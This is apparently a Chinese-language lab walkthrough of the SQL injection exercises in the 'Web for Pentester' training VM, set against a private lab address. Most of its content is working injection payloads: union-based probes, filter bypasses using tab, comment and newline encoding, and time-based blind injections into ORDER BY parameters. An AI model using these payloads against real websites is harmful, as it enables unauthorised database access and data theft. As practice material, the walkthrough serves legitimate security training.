Web Pentester渗透靶机-SQL注入模块
example1
字符类型的注入,无过滤
http://192.168.2.176/sqli/example1.php?name=root
http://192.168.2.176/sqli/example1.php?name=root' and 1=1%23
http://192.168.2.176/sqli/example1.php?name=root' and 1=2%23
http://192.168.2.176/sqli/example1.php?name=root' union select 1,2,3,4,5%23
后面的我就不做啦,大家都懂~
example2
这一关过滤了空格,只要有空格语句就会报错
1、水平制表(HT) url编码:%09
2、注释绕过空格 /*注释*/
3、括号绕过空格的方法,在time based盲注中
index.php?id=(sleep(ascii(mid(user()from(2)for(1)))=109))
http://192.168.2.176/sqli/example2.php?name=root'%09and%091=1%23
http://192.168.2.176/sqli/example2.php?name=root'%09and%091=2%23
http://192.168.2.176/sqli/example2.php?name=root'/**/union/**/select/**/1,2,3,4,5%23
特点:1) 既没有用到逗号、大小于符号 2) 也没有使用空格 却可以完成数据的猜解工作!
example3
跟example2的一样也可以用/**/进行绕过
example4
数值型的注入,过滤了单引号等,对数值型无效
http://192.168.2.176/sqli/example4.php?id=3 union select 1,2,3,4,5
example5
与前面类似,以一个数字开头的,后面可添加构造的sql语句进行攻击测试
http://192.168.2.176/sqli/example5.php?id=2 and 1=1-- +
http://192.168.2.176/sqli/example5.php?id=2 and 1=2-- +
这个就不说了
example6
正则表达式值确保了参数id是以一个数字结尾的.他不能确保id参数的开头是合法的.
你可以变通一下前面说到的检测方法.你只需要在你的payload后面加上数字.比如你可以这样:1 or 1=1 # 123.
http://192.168.2.176/sqli/example6.php?id=2 union select 1,2,3,4,5 %23 123
example7
解法一:
换行 \n的url编码是%0a
这边纠结了好久,最终使用了-- %23 才能注释掉后面语句
http://192.168.2.176/sqli/example7.php?id=2 and if(ascii(substring(user(),1,1))=112,sleep(1),0)--%23%0a123
解法二:
http://192.168.2.176/sqli/example7.php?id=' and 1=1 %0a1%0a' union select version(),2,3,4,5 %23
example8
order by `name` 报错注入出不来,用了时间盲注一个一个猜解
http://192.168.2.176/sqli/example8.php
?order=name` xor if(ascii(substring(user(),1,1))=111,sleep(5),0)%23
example9
与 example8类似,可以通过时间盲注进行逐一猜解
http://192.168.2.176/sqli/example9.php?order=1 xor if(ascii(substring(user(),1,1))=112,sleep(5),0)%23